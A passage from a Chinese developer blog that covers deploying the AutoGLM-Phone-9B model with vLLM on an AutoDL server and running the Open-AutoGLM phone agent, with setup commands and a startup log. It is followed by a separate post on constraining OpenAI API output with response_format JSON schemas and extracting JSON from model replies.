因为AutoDL是境内服务器，所以推荐去阿里的魔搭社区上下载模型：https://modelscope.cn/models/ZhipuAI/AutoGLM-Phone-9B

下载方式在魔搭社区上也有教程，执行如下命令即可。注意，在AutoDL上一定要进入/root/autodl-tmp数据盘进行操作，否则模型会直接把系统盘塞满，影响系统运行了。

1
2
3

pip install modelscope
# 下载模型到本地，注意一定要有--local_dir参数
modelscope download --model ZhipuAI/AutoGLM-Phone-9B --local_dir /root/autodl-tmp/autoglm-phone-9b

模型大约20GB，在AutoDL上下载大概需要半个小时，耐心等待一下吧。

2.3. 配置vllm运行环境

等待模型下载期间也别闲着，开另外一个终端配置一下vllm的运行环境。

AutoGLM依赖于vllm 0.12.0和transformers 5.0.0rc0，我们可以创建一个conda环境来安装。

vllm 0.12.0在官方release中说明强依赖pytorch 3.9.0和cuda 12.9，但实测在AutoDL的cuda 12.8的环境里面是能可以正常运行无报错的。

执行如下命令，创建一个conda虚拟环境

1
2
3
4

# 创建虚拟环境
conda create -n vllm python=3.12 -y
# 初始化
conda init

首次执行完毕conda init之后，会提示你开另外一个新终端，开一个新终端之后，执行如下命令

1
2
3

conda init
# 激活刚刚创建的虚拟环境
conda activate vllm

执行完毕后，我们就已经进入刚刚新创建的虚拟环境里面了，执行下面两个命令即可。AutoDL的镜像已经默认设置了阿里pypi源，不需要我们修改镜像源了。

1
2

pip install vllm==0.12.0  # 一定要先安装这个
pip install transformers==5.0.0rc0

注意，一定需要先安装vllm，然后再安装transformers^[1]，安装transformers==5.0.0rc0的时候会出现依赖不匹配的报错，因为vllm 0.12.0依赖的是4.x版本的transformers。可以直接忽略这个依赖版本不匹配的报错，智谱官方在issue里面提到了是能够兼容的，实测也确实OK。

其实不安装transformers==5.0.0rc0我也试过，模型也能运行，似乎也没啥问题。但是控制台会有加载解析器正则错误的告警，估计这就是截图里面提到的“新写法”导致的问题了。所以还是老实安装升级吧！

安装完毕这俩库之后，环境就搞定了，可以运行模型了！（当然得等模型下完了才行）

2.4. 运行模型

使用AutoGLM仓库里面给出的vllm命令，运行模型。注意这个命令需要修改我们下载好的模型本地路径，和端口号。AutoDL平台上只有6006和6008端口号是被映射到公网上的，其他端口号都不能使用。

另外，AutoDL租用的服务器提供外网服务需进行实名认证，请确保你的大模型服务不会被滥用生成违规违禁内容，避免罪责到你身上。

1
2
3
4
5
6
7
8
9
10
11
12

# 修改最后的--model模型本地路径和--port绑定端口号
python3 -m vllm.entrypoints.openai.api_server \
     --served-model-name autoglm-phone-9b \
     --allowed-local-media-path /   \
     --mm-encoder-tp-mode data \
     --mm_processor_cache_type shm \
     --mm_processor_kwargs "{\"max_pixels\":5000000}" \
     --max-model-len 25480  \
     --chat-template-content-format string \
     --limit-mm-per-prompt "{\"image\":10}" \
     --model /root/autodl-tmp/autoglm-phone-9b \
     --port 6006

执行这个命令后，vllm就会开始运行并加载模型，出现服务已上线，就是模型加载成功了。

回到控制台，点击自定义服务

把这里的6006端口号映射的URL复制一份，输入到浏览器里面。如果出现json的返回信息，且终端里面出现了请求日志，那就是模型服务部署成功了！

2.5. 完整模型加载日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91

(vllm) root@autodl-container-50604192c4-d9d01c36:~/autodl-tmp# # 修改最后的--model模型本地路径和--port绑定端口号
python3 -m vllm.entrypoints.openai.api_server \
     --served-model-name autoglm-phone-9b \
     --allowed-local-media-path /   \
     --mm-encoder-tp-mode data \
     --mm_processor_cache_type shm \
     --mm_processor_kwargs "{\"max_pixels\":5000000}" \
     --max-model-len 25480  \
     --chat-template-content-format string \
     --limit-mm-per-prompt "{\"image\":10}" \
     --model /root/autodl-tmp/autoglm-phone-9b \
     --port 6006
(APIServer pid=1433) INFO 12-10 22:50:46 [api_server.py:1772] vLLM API server version 0.12.0
(APIServer pid=1433) INFO 12-10 22:50:46 [utils.py:253] non-default args: {'port': 6006, 'chat_template_content_format': 'string', 'model': '/root/autodl-tmp/autoglm-phone-9b', 'allowed_local_media_path': '/', 'max_model_len': 25480, 'served_model_name': ['autoglm-phone-9b'], 'limit_mm_per_prompt': {'image': 10}, 'mm_processor_kwargs': {'max_pixels': 5000000}, 'mm_processor_cache_type': 'shm', 'mm_encoder_tp_mode': 'data'}
(APIServer pid=1433) Unrecognized keys in `rope_parameters` for 'rope_type'='default': {'partial_rotary_factor', 'mrope_section'}
(APIServer pid=1433) INFO 12-10 22:50:46 [model.py:637] Resolved architecture: Glm4vForConditionalGeneration
(APIServer pid=1433) INFO 12-10 22:50:46 [model.py:1750] Using max model len 25480
(APIServer pid=1433) INFO 12-10 22:50:46 [scheduler.py:228] Chunked prefill is enabled with max_num_batched_tokens=2048.
(EngineCore_DP0 pid=1485) INFO 12-10 22:50:55 [core.py:93] Initializing a V1 LLM engine (v0.12.0) with config: model='/root/autodl-tmp/autoglm-phone-9b', speculative_config=None, tokenizer='/root/autodl-tmp/autoglm-phone-9b', skip_tokenizer_init=False, tokenizer_mode=auto, revision=None, tokenizer_revision=None, trust_remote_code=False, dtype=torch.bfloat16, max_seq_len=25480, download_dir=None, load_format=auto, tensor_parallel_size=1, pipeline_parallel_size=1, data_parallel_size=1, disable_custom_all_reduce=False, quantization=None, enforce_eager=False, kv_cache_dtype=auto, device_config=cuda, structured_outputs_config=StructuredOutputsConfig(backend='auto', disable_fallback=False, disable_any_whitespace=False, disable_additional_properties=False, reasoning_parser='', reasoning_parser_plugin='', enable_in_reasoning=False), observability_config=ObservabilityConfig(show_hidden_metrics_for_version=None, otlp_traces_endpoint=None, collect_detailed_traces=None, kv_cache_metrics=False, kv_cache_metrics_sample=0.01), seed=0, served_model_name=autoglm-phone-9b, enable_prefix_caching=True, enable_chunked_prefill=True, pooler_config=None, compilation_config={'level': None, 'mode': <CompilationMode.VLLM_COMPILE: 3>, 'debug_dump_path': None, 'cache_dir': '', 'compile_cache_save_format': 'binary', 'backend': 'inductor', 'custom_ops': ['none'], 'splitting_ops': ['vllm::unified_attention', 'vllm::unified_attention_with_output', 'vllm::unified_mla_attention', 'vllm::unified_mla_attention_with_output', 'vllm::mamba_mixer2', 'vllm::mamba_mixer', 'vllm::short_conv', 'vllm::linear_attention', 'vllm::plamo2_mamba_mixer', 'vllm::gdn_attention_core', 'vllm::kda_attention', 'vllm::sparse_attn_indexer'], 'compile_mm_encoder': False, 'compile_sizes': [], 'inductor_compile_config': {'enable_auto_functionalized_v2': False, 'combo_kernels': True, 'benchmark_combo_kernel': True}, 'inductor_passes': {}, 'cudagraph_mode': <CUDAGraphMode.FULL_AND_PIECEWISE: (2, 1)>, 'cudagraph_num_of_warmups': 1, 'cudagraph_capture_sizes': [1, 2, 4, 8, 16, 24, 32, 40, 48, 56, 64, 72, 80, 88, 96, 104, 112, 120, 128, 136, 144, 152, 160, 168, 176, 184, 192, 200, 208, 216, 224, 232, 240, 248, 256, 272, 288, 304, 320, 336, 352, 368, 384, 400, 416, 432, 448, 464, 480, 496, 512], 'cudagraph_copy_inputs': False, 'cudagraph_specialize_lora': True, 'use_inductor_graph_partition': False, 'pass_config': {'fuse_norm_quant': False, 'fuse_act_quant': False, 'fuse_attn_quant': False, 'eliminate_noops': True, 'enable_sp': False, 'fuse_gemm_comms': False, 'fuse_allreduce_rms': False}, 'max_cudagraph_capture_size': 512, 'dynamic_shapes_config': {'type': <DynamicShapesType.BACKED: 'backed'>}, 'local_cache_dir': None}
(EngineCore_DP0 pid=1485) INFO 12-10 22:50:57 [parallel_state.py:1200] world_size=1 rank=0 local_rank=0 distributed_init_method=tcp://172.17.0.10:47959 backend=nccl
(EngineCore_DP0 pid=1485) INFO 12-10 22:50:58 [parallel_state.py:1408] rank 0 in world size 1 is assigned as DP rank 0, PP rank 0, PCP rank 0, TP rank 0, EP rank 0
(EngineCore_DP0 pid=1485) Using a slow image processor as `use_fast` is unset and a slow processor was saved with this model. `use_fast=True` will be the default behavior in v4.52, even if the model was saved with a slow processor. This will result in minor differences in outputs. You'll still be able to use a slow processor with `use_fast=False`.
(EngineCore_DP0 pid=1485) Keyword argument `max_pixels` is not a valid argument for this processor and will be ignored.
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:05 [gpu_model_runner.py:3467] Starting to load model /root/autodl-tmp/autoglm-phone-9b...
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:05 [cuda.py:411] Using FLASH_ATTN attention backend out of potential backends: ['FLASH_ATTN', 'FLASHINFER', 'TRITON_ATTN', 'FLEX_ATTENTION']
Loading safetensors checkpoint shards:   0% Completed | 0/5 [00:00<?, ?it/s]
Loading safetensors checkpoint shards:  20% Completed | 1/5 [00:00<00:00,  4.26it/s]
Loading safetensors checkpoint shards:  40% Completed | 2/5 [00:01<00:02,  1.43it/s]
Loading safetensors checkpoint shards:  60% Completed | 3/5 [00:02<00:01,  1.15it/s]
Loading safetensors checkpoint shards:  80% Completed | 4/5 [00:03<00:00,  1.03it/s]
Loading safetensors checkpoint shards: 100% Completed | 5/5 [00:04<00:00,  1.06s/it]
Loading safetensors checkpoint shards: 100% Completed | 5/5 [00:04<00:00,  1.07it/s]
(EngineCore_DP0 pid=1485) 
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:10 [default_loader.py:308] Loading weights took 4.87 seconds
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:11 [gpu_model_runner.py:3549] Model loading took 19.2562 GiB memory and 5.143751 seconds
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:11 [gpu_model_runner.py:4306] Encoder cache will be initialized with a budget of 18622 tokens, and profiled with 1 video items of the maximum feature size.
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:22 [backends.py:655] Using cache directory: /root/.cache/vllm/torch_compile_cache/19b1386448/rank_0_0/backbone for vLLM's torch.compile
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:22 [backends.py:715] Dynamo bytecode transform time: 7.25 s
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:22 [backends.py:257] Cache the graph for dynamic shape for later use
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:29 [backends.py:288] Compiling a graph for dynamic shape takes 6.80 s
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:30 [monitor.py:34] torch.compile takes 14.05 s in total
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:31 [gpu_worker.py:359] Available KV cache memory: 19.17 GiB
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:32 [kv_cache_utils.py:1286] GPU KV cache size: 502,496 tokens
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:32 [kv_cache_utils.py:1291] Maximum concurrency for 25,480 tokens per request: 19.72x
Capturing CUDA graphs (mixed prefill-decode, PIECEWISE): 100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 51/51 [00:03<00:00, 16.86it/s]
Capturing CUDA graphs (decode, FULL): 100%|███████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 35/35 [00:01<00:00, 23.12it/s]
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:37 [gpu_model_runner.py:4466] Graph capturing finished in 5 secs, took 0.69 GiB
(EngineCore_DP0 pid=1485) INFO 12-10 22:51:37 [core.py:254] init engine (profile, create kv cache, warmup model) took 26.32 seconds
(APIServer pid=1433) INFO 12-10 22:51:40 [api_server.py:1520] Supported tasks: ['generate']
(APIServer pid=1433) INFO 12-10 22:51:40 [api_server.py:1847] Starting vLLM API server 0 on http://0.0.0.0:6006
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:38] Available routes are:
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /openapi.json, Methods: GET, HEAD
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /docs, Methods: GET, HEAD
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /docs/oauth2-redirect, Methods: GET, HEAD
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /redoc, Methods: GET, HEAD
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /health, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /load, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /pause, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /resume, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /is_paused, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /tokenize, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /detokenize, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/models, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /version, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/responses, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/responses/{response_id}, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/responses/{response_id}/cancel, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/messages, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/chat/completions, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/completions, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/audio/transcriptions, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/audio/translations, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /scale_elastic_ep, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /is_scaling_elastic_ep, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /inference/v1/generate, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /ping, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /ping, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /invocations, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /metrics, Methods: GET
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /classify, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/embeddings, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /score, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/score, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /rerank, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v1/rerank, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /v2/rerank, Methods: POST
(APIServer pid=1433) INFO 12-10 22:51:40 [launcher.py:46] Route: /pooling, Methods: POST
(APIServer pid=1433) INFO:     Started server process [1433]
(APIServer pid=1433) INFO:     Waiting for application startup.
(APIServer pid=1433) INFO:     Application startup complete.

3. 本地使用AutoGLM

3.1. 项目克隆

AutoGLM是一个定制的模型，必须要配合智谱开源的PhoneAgent SDK一起使用，需要本地有Python3.10+的环境

1
2
3
4
5
6

# 克隆仓库
git clone https://github.com/zai-org/Open-AutoGLM.git
# 安装依赖
cd Open-AutoGLM
# 注意不要修改这个文件，只用安装里面给出的openai>=2.9.0和Pillow>=12.0.0
pip install -r requirements.txt 

这里只是安装好了SDK的依赖，我们还需要给当前电脑配置ADB、链接手机到电脑上、给手机安装ADBKeyBoard等等操作。

考虑到AutoGLM模型面向的客户群体应该都会配置这些环境，本文就不多赘述了。如果你不太清楚咋配置ADB命令环境，请参考AutoGLM仓库的README，这里直接把README拷贝了过来：

3.2. 运行Agent

安装完毕依赖之后，就可以直接运行了，把模型的base-url改成AutoDL上部署的外网url就可以了

1
2
3
4

python main.py \
    --base-url http://你的AutoDL服务地址:8443/v1 \
    --model "autoglm-phone-9b" \
    "帮我打开美团，买一杯瑞幸的椰香拿铁"

这里提醒一下，手机安装好ADBKeyBoard之后，必须要把手机默认输入法改成ADBKeyBoard，否则Agent在操作的时候还是会呼出给人用的输入法，导致没办法正常输入文字

main.py启动的时候，会对环境进行检查，模型url是否有效进行检查，检查通过了，就会开始任务（如下图所示），这时候你就可以看看你的手机，他是不是真运行起来啦！

注意，PhoneAgent是和AutoGLM绑定的，使用其他VL模型是没有用的！

4. The end

部署和使用到这里就结束啦！有什么问题欢迎评论区交流。

我现在就希望AutoGLM能有一个量化版本，能在Mac机器上用ollama之类的工具运行，这样就更好了。9b的模型理论上是可以被32GB内存的Mac加载运行的。不过我个人对大模型不太了解，不确定AutoGLM是否会强依赖Cuda环境，所以我的这个想法可能有失偏颇。

这里额外提一嘴：可能有朋友疑惑，为啥AutoGLM只支持安卓呢？

那是因为iOS的UI自动化，涉及到的Xcode配置、WDA配置、连手机、证书配置、开发者app认证那叫一个繁琐麻烦，不同iOS版本的很多系统级别弹窗样式都不一样，也得专门做适配。

总结来说：就是iOS的生态封闭，自动化配置麻烦。不同iOS系统版本之间变化大，为iOS做适配投入产出比不搞，纯纯是吃力不讨好。可不是安卓这边所有手机都内置的ADB那么方便的！

慕雪个人觉得，为鸿蒙做适配都比iOS容易！所有纯血鸿蒙的手机也都内置了hdc能力，本质上和安卓的adb是一套类似的工具！

1. 【MCP】详细了解MCP协议：和function call的区别何在？如何使用MCP？
2. 【AI】AI对26届及今后计算机校招的影响
3. 【Agent.01】AI Agent智能体开发专题引言
4. 【Agent.02】市面上常见的大模型有哪些？
5. 【Agent.03】带你学会写一个基础的Prompt
6. 【Agent.04】AI时代的hello world：调用OpenAI接口，与大模型交互
7. 【Agent.05】OpenAI接口Function Calling工具调用详解
8. 【Agent.06】使用openai sdk实现多轮对话
9. 【Agent.07】什么是Agent？从Chat到ReAct的AI进化之路
10. 【Agent.08】LangChain的第一个Demo：从零开始构建Agent
11. 【Agent.09】LangChain里面使用MCP工具
12. 【Agent.10】OpenAI接口输出格式约束（response_format）

本专栏所有代码都会归档至 musnows/agent-blog 开源仓库。

1. 引言

Agent专栏已经写到LangChain部分了，突然想起来，还遗漏了一个重要的OpenAI接口提供的特性没有使用：结果response_format的格式化输出。

在一般情况下，AI输出的都是自然语言，和我们人类输入的信息一样。在一般的问答Agent场景中，输出自然语言是OK的，但当我们希望使用AI来生成测试用例、分析报告、数据总结等等信息的时候，就会需要AI输出结构化的数据，这样我们才能进行有效的解析和后处理。

在继续阅读本文之前，你需要对序列化、反序列化概念有所了解，并知晓json序列化协议的基本结构。

举个最简单的例子：当我们需要AI输出针对需求的测试用例时，如果AI使用的是自然语言输出，如“链接网络，打开手机APP，点击播放视频的按钮，确认视频能正常播放”，我们就没有办法对这个测试用例进行有效拆分，从而提取出前置条件、测试步骤、预期结果。

但如果我们要求AI以json格式输出这些信息，解析这个测试用例就很容易了，比如要求AI按如下格式输出：

1
2
3
4
5

{
    "preStep": ["链接网络"],
    "testStep":["打开手机APP","点击播放视频的按钮"],
    "expectation":["视频能正常播放"]
}

有了这个json，我们想解析前置步骤、测试步骤、预期结果就非常简单了，直接对json进行反序列化（如python里面的json.loads）就可以加载到这串结构化的数据，进行后续的其他处理了。

2. 怎么约束输出格式？

理解了这个背景后，想必你已经知道为啥需要让AI结构化输出信息了。那要怎么做呢？

最简单的做法，就是在Prompt里面新增输出格式的要求，让AI遵循我们的要求，直接在回答里面输出json或其他可序列化的格式（xml、yaml），然后我们对返回的string进行解析，得到最终的结构化数据。

但是，这样做有非常大的弊端：

1. AI可能因为幻觉，不按我们预定的格式进行输出：现在的AI对Prompt遵循性相比半年之前有显著提升，这个问题出现次数减少了。
2. AI可能会在输出中包含其他说明文字：这个问题至今依旧没有解决，AI总是喜欢给你加点其他说明，即便Prompt里面多次说明“禁止包含其他信息”
3. AI可能使用markdown代码块包裹信息输出，而不是只输出结构化数据：需要我们处理返回值里面的markdown代码块

所以，OpenAI提供了json_schema格式化输出的约定字段，可以要求AI依照预定的response_format进行输出。

注意，这个字段依赖于OpenAI服务提供商对response_format支持，如果你使用的是第三方服务商提供的OpenAI兼容API，需要查看该服务商的文档，确认其支持response_format字段。目前轨迹流动是支持的，而美团的LongCat就不支持（不会遵循response_format）。

测试方式也比较简单，用本文给出的response_format设置代码去测试请求一次就能看出来AI是否有遵循response_format了。

3. 使用json_schema限定AI输出格式

使用openai的python sdk，我们可以直接在创建会话的时候，传入response_format字段对返回值进行格式控制。

代码如下所示，我们希望AI格式化解析用户提供的购物清单，精准输出购买商品的名字name、数量quantity、单位unit。

在response_format的设置中，"type": "array"代表items是一个json的list，"type": "object"则代表是一个json的对象（对应python的dict）。给定的name/quantity/unit这三个字段都是required必填字段，"strict": True则是要求AI必须严格遵循这个结构进行输出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52

import os
from openai import OpenAI
from dotenv import load_dotenv

load_dotenv(override=True)

OPENAI_API_KEY = os.getenv("OPENAI_API_KEY", "")
OPENAI_BASE_URL = os.getenv("OPENAI_BASE_URL", "https://api.siliconflow.cn/v1")
OPENAI_MODEL = os.getenv("OPENAI_MODEL", "Qwen/Qwen3-8B")

client = OpenAI(
    api_key=OPENAI_API_KEY,
    base_url=OPENAI_BASE_URL
)


def parse_shopping_list_with_schema(user_input: str):
    """使用JSON Schema解析购物清单"""
    response = client.chat.completions.create(
        model=OPENAI_MODEL,
        messages=[
            {"role": "system", "content": "解析用户输入的购物清单，生成结构化数据"},
            {"role": "user", "content": user_input}
        ],
        response_format={
            "type": "json_schema",
            "json_schema": {
                "name": "shopping_list",
                "schema": {
                    "type": "object",
                    "properties": {
                        "items": {
                            "type": "array",
                            "items": {
                                "type": "object",
                                "properties": {
                                    "name": {"type": "string"},
                                    "quantity": {"type": "integer"},
                                    "unit": {"type": "string"}
                                },
                                "required": ["name", "quantity", "unit"]
                            }
                        }
                    },
                    "required": ["items"],
                    "strict": True
                }
            }
        }
    )
    
    return response.choices[0].message.content

其他更复杂的格式都是在这套的基础上进行扩展，可把你的需要直接发送给编程AI助手，让他根据你的需要生成对应的json格式要求就可以了。

4. 效果对比

4.1. 使用Prompt限定代码

作为对比，这里提供了一份使用Prompt限定输出格式的OpenAI调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

def parse_shopping_list_with_prompt(user_input: str):
    """使用prompt限定格式解析购物清单"""
    system_prompt = """你是一个购物清单解析助手。请解析用户的购物清单，并严格按照以下JSON格式返回：

{
  "items": [
    {
      "name": "商品名称",
      "quantity": 数量,
      "unit": "单位"
    }
  ]
}

要求：
1. 必须返回有效的JSON格式
2. name字段为字符串类型
3. quantity字段为整数类型
4. unit字段为字符串类型
5. 所有字段都是必需的
6. 不要添加任何额外的文字说明，只返回JSON
7. 不要使用markdown代码块格式
"""

    response = client.chat.completions.create(
        model=OPENAI_MODEL,
        messages=[
            {"role": "system", "content": system_prompt},
            {"role": "user", "content": user_input}
        ],
        temperature=0.1 # 温度越低AI回答越不容易跑偏
    )
    
    return response.choices[0].message.content

4.2. 测试结果

测试使用硅基流动的Qwen/Qwen3-8B模型

使用“我买了苹果5斤，牛奶2箱，面包3个”进行测试，可以看到，Qwen/Qwen3-8B对这种简单任务的Prompt遵循性还不错，不管是使用response_format还是使用Prompt的方式进行指定，都按照我们的要求进行输出了，且没有提供任何的说明文字。但Qwen/Qwen3-8B还是输出了markdown代码块包裹了这个json（Prompt里面要求不要使用）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

测试用例 1:
用户输入: 我买了苹果5斤，牛奶2箱，面包3个

==================================================
1. 使用JSON Schema方法:
{"items": [{"name": "苹果", "quantity": 5, "unit": "斤"}, {"name": "牛奶", "quantity": 2, "unit": "箱"}, {"name": "面包", "quantity": 3, "unit": "个"}]}

------------------------------
2. 使用prompt限定格式方法:
```json
{
  "items": [
    {
      "name": "苹果",
      "quantity": 5,
      "unit": "斤"
    },
    {
      "name": "牛奶",
      "quantity": 2,
      "unit": "箱"
    },
    {
      "name": "面包",
      "quantity": 3,
      "unit": "个"
    }
  ]
}
```

相同一次运行里面的其他输入，他又可能不会输出markdown代码块（AI幻觉导致）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

测试用例 3:
用户输入: 可乐2瓶，薯片5包，巧克力4块

==================================================
1. 使用JSON Schema方法:
{
  "items": [
    {
      "name": "可乐",
      "quantity": 2,
      "unit": "瓶"
    },
    {
      "name": "薯片",
      "quantity": 5,
      "unit": "包"
    },
    {
      "name": "巧克力",
      "quantity": 4,
      "unit": "块"
    }
  ]
}

------------------------------
2. 使用prompt限定格式方法:
{
  "items": [
    {
      "name": "可乐",
      "quantity": 2,
      "unit": "瓶"
    },
    {
      "name": "薯片",
      "quantity": 5,
      "unit": "包"
    },
    {
      "name": "巧克力",
      "quantity": 4,
      "unit": "块"
    }
  ]
}

因此可见，如果使用的OpenAI服务提供商支持response_format，使用response_format来控制AI输出结构是更好的方式，同时也避免我们去过多调试“约束AI生成数据结构”的Prompt了。

5. 从AI回答里面精准提取json字符串

不过呢，输出markdown代码块是一个小问题了，我们可以很轻松地编写一个json提取函数，从AI的输出里面精准提取出完整的json来，只要AI输出的json没有断。

如果你不想自己实现，可以使用pypi上已有的解析器：JsonExtractor

在很多场景下都可以使用这个json对AI的输出进行处理（即便提供了response_format也可以使用这个函数先处理一下），保证我们后续节点一定能得到一个有效的json结构。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105

import json
import re
from typing import Union

def extract_json_with_regex(response_str: str) -> Union[dict,list]:
    """
    使用算法从字符串中精准提取唯一的完整JSON
    
    Args:
        response_str: 包含JSON的原始回答字符串
        
    Returns:
        dict/list: 解析后的JSON对象或数组，无法解析时返回None
    """
    # 先直接进行一次json处理，失败了再往后走
    try:
        return json.loads(response_str)
    except json.JSONDecodeError as e:
        pass  # 第一次可能失败，不对异常做任何处理
    
    # 步骤1：移除Markdown代码块标记（```json、```等）
    response_str = re.sub(r'```(?:json)?\s*|\s*```', '', response_str, flags=re.IGNORECASE)
    
    # 步骤2：使用改进的算法提取JSON，支持嵌套结构
    # 由于Python re不支持递归，使用平衡括号算法
    matches = []
    
    # 提取JSON对象和数组
    for i, char in enumerate(response_str):
        if char == '{':
            json_str = _extract_balanced(response_str, i, '{', '}')
            if json_str:
                matches.append(json_str)
        elif char == '[':
            json_str = _extract_balanced(response_str, i, '[', ']')
            if json_str:
                matches.append(json_str)
    
    # 步骤3：没有找到匹配，直接返回None
    if not matches:
        return None
    
    # 取最长匹配（避免截取不完整的嵌套结构）
    json_str = max(matches, key=len).strip()
    
    # 尝试逐步清理尾部可能的无效字符
    while json_str and json_str[-1] not in '}]':
        json_str = json_str[:-1].strip()
        if json_str and json_str[-1] in ',;':
            json_str = json_str[:-1].strip()
    
    try:
        return json.loads(json_str)
    except json.JSONDecodeError as e:
        print(f"JSON解析失败：{str(e)}\n提取的内容：{json_str}")
        return None

def _extract_balanced(text: str, start_idx: int, open_char: str, close_char: str) -> str:
    """
    提取平衡的括号内容
    
    Args:
        text: 源文本
        start_idx: 起始位置（必须是开括号）
        open_char: 开括号字符
        close_char: 闭括号字符
        
    Returns:
        str: 平衡的括号内容，如果无法平衡则返回None
    """
    if text[start_idx] != open_char:
        return None
    
    stack = 1
    in_string = False
    escape_next = False
    
    for i in range(start_idx + 1, len(text)):
        char = text[i]
        
        # 处理字符串中的转义字符
        if escape_next:
            escape_next = False
            continue
            
        if char == '\\' and in_string:
            escape_next = True
            continue
            
        # 处理字符串开始和结束
        if char == '"' and not escape_next:
            in_string = not in_string
            continue
            
        # 只在非字符串状态下计算括号
        if not in_string:
            if char == open_char:
                stack += 1
            elif char == close_char:
                stack -= 1
                if stack == 0:
                    return text[start_idx:i+1]
    
    # 无法平衡，返回None
    return None

当然，这个函数没办法处理AI输出的json的结构不对的情况（比如缺key、key的名字不对、结构错乱等问题），只能保证剔除回答里面的其他无效信息，解析出一个有效的json。

同时，这个函数也不能支持回答里面有多个独立的json的情况。不推荐让AI输出多个独立的json，如果有多个独立json输出的要求，请使用一个大的json，用key包含这些json进行输出，比如指定多个大key来保存独立的json

1
2
3
4
5

{
    "key1": {},
    "key2": {},
    ...
}

6. The end

本文介绍了如何在调用OpenAI接口的时候约束AI的输出结构。

